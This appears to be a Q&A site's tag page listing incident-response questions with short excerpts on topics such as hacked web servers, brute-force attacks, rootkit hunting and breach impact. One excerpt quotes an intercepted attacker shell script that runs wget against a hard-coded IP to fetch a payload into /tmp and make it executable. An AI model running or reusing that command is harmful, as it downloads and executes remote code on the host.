Questions tagged [incident-response]

The art of responding to incidents in an organized and thoughtful manner.

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153
votes
2answers
17k views

I found unknown PHP code on my server. How do I de-obfuscate the code?

We've been getting a lot of noise regarding hacked PHP files here, and it's taking a lot of time to answer these questions. In many cases, they are off-topic. We've had a discussion about this on ...
10
votes
5answers
9k views

Webserver logs show someone is trying to hack my site, what should I do?

It looks like someone is trying to hack my site. The following comes from my IIS log files: #Software: Microsoft Internet Information Services 7.5 #Version: 1.0 #Date: 2011-07-03 00:02:39 #Fields: ...
21
votes
8answers
4k views

Best practices for handling computer viruses

I realize this question may be quite broad (and hopefully not a violation of the FAQs), but I'm interested in hearing how many of you handle a computer infected with Malware. In a small-to-medium ...
19
votes
2answers
1k views

How to handle security issues of someone else's website

A few weeks ago I found that someone has posted admin account details for a certain website on a public wiki by mistake. As I found that data to be real (i.e. I could log into their website run by ...
12
votes
3answers
2k views

How do I report new malware?

I have a new piece of malware that isn't detected by current anti-virus vendors. How do I report it to them? I want to do a good turn and help protect as many people as possible. What is the best ...
35
votes
4answers
10k views

Malware that can survive BIOS re-flashing

The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS. In other words, ...
150
votes
9answers
19k views

How do organizations check *what* has been hacked?

In the UK, the company TalkTalk was recently hacked. It was later discovered, after 'investigation' that the hack was not as serious as it could have been (and less than expected). I'm wondering: ...
17
votes
4answers
2k views

Network Forensics - what is in your toolbox

In similar vein to this question on computer forensics, what tools would you have in your toolbox for infrastructure and network forensics. Typical example cases would be if you were called in either ...
59
votes
1answer
4k views

What's the Impact of the CloudFlare Reverse Proxy Bug? (“#CloudBleed”)

In Project Zero #1139, it was disclosed that CloudFlare had a bug which disclosed uninitialized memory, leaking private data sent through them via SSL. What's the real impact?
15
votes
1answer
3k views

What should be included in a jump bag and how often should it be reviewed?

What items should be included in a jump bag? How often do you review your jump bag?
12
votes
4answers
2k views

Gmail account hack prevention and recovery

I am doing a research on how to prevent my gmail account from being hacked and what are the options of claiming it back. The associated phone number and recovery email can be changed, in fact I ...
3
votes
4answers
5k views

Determining the point of compromise on an infected web server?

Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
1
vote
2answers
2k views

glibc getaddrinfo (CVE-2015-7547) vulnerability: should I update glibc if I do not configure DNS?

Recently Googly discover glibc getaddrinfo (CVE-2015-7547) vulnerability: https://googleonlinesecurity.blogspot.co.il/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html We run our application on ...
5
votes
2answers
317 views

How can intelligence services be so sure that Russia is the culprit? [closed]

Recently, US and non-US media has been publishing many articles regarding Russia being involved in the "Podesta-hack" or even accusing Putin of being directly responsible. For example: "Putin ...
38
votes
5answers
2k views

How do I respond to a published security vulnerability in my application?

In my spare time I write some PHP code the purpose of which is to block link spam and other various malicious activity. On May 11 someone who discovered an XSS vulnerability in the WordPress version ...
25
votes
8answers
6k views

How to respond to a SSH brute force attack on a single VPS?

I logged onto my VPS this morning to find millions of failed login attempts for the root user and other users that don't even exist. I took the below measures to try and obfuscate the attackers ...
33
votes
6answers
4k views

After getting doxxed, how can one protect personally identifiable information?

Doxing (publicly releasing private information about an individual, to make it easier to harass them) is becoming an increasingly popular tactic not just for hackivists and Anonymous, but also for ...
16
votes
8answers
3k views

How to make people report incidents?

I would like to know how you make employees report incidents. Incident reports are a key element of an ISMS. No reports = No discovery of the incident = High chance things go out of control. We have ...
13
votes
3answers
2k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
11
votes
4answers
6k views

I've encountered JavaScript attack code - how do I search for information on the exploit's specifics?

So, I clicked on a reasonably-looking LinkedIn invite, not thinking about hovering overing the link first, since usually the e-mail client warns me about such things. Once I realized I landed on an ...
4
votes
2answers
1k views

How do I run a security check on my WordPress server?

I have a cloud-based server running with CentOS 6.0 and CSF installed. Today I got a message from my host that one of my WordPress installations is hacked and used for phishing. But I don't know how ...
8
votes
2answers
2k views

Should I delete my Yahoo! account?

NBC News is running this story: "Experts: Don't Delete Your Yahoo! Account". According to the story, if your account's email is linked to your online banking account, deleting your account will ...
14
votes
4answers
517 views

What should I look at in the event of a major vendor suffering compromise with unspecified impact?

The specific example I have in mind here is the breach of RSA in March 2011 where attackers got away with critical information which could be the seed information which is used to generate the pseudo-...
10
votes
2answers
217 views

Encouraging security researchers to disclose vulnerabilities

What are approaches to forming solid relationships with security researchers? For example, is publishing a public PGP key on the "contact us" page of a company's website for high levels of risk ...
9
votes
3answers
2k views

How to manually check for rootkits on a server

Does anyone have a general step by step list on how to try discover rootkits on a Linux or Solaris server? I'm looking for to to manually find the rootkit, not by automated software. For example: ...
6
votes
1answer
145 views

Considerations for security release notes

I need help with understanding how to manage security release notes for our product. We create major release of our product about each half years and security or maintenance releases each month. What ...
0
votes
1answer
92 views

How should I detect and respond to bad actors who perform SQL injections?

SQL Azure has a logic component called Threat Detection. I assume it looks for SQL Injection, but also evidence of dangerous commands like sp_exec. I would like to expand that scope, and also ...
2
votes
1answer
277 views

Incident response terminology

Does incident response pertain to incidents that are currently occurring (ex: a host is spreading malware on the network) or that occurred (ex: an attacker dumped our database but we noticed it few ...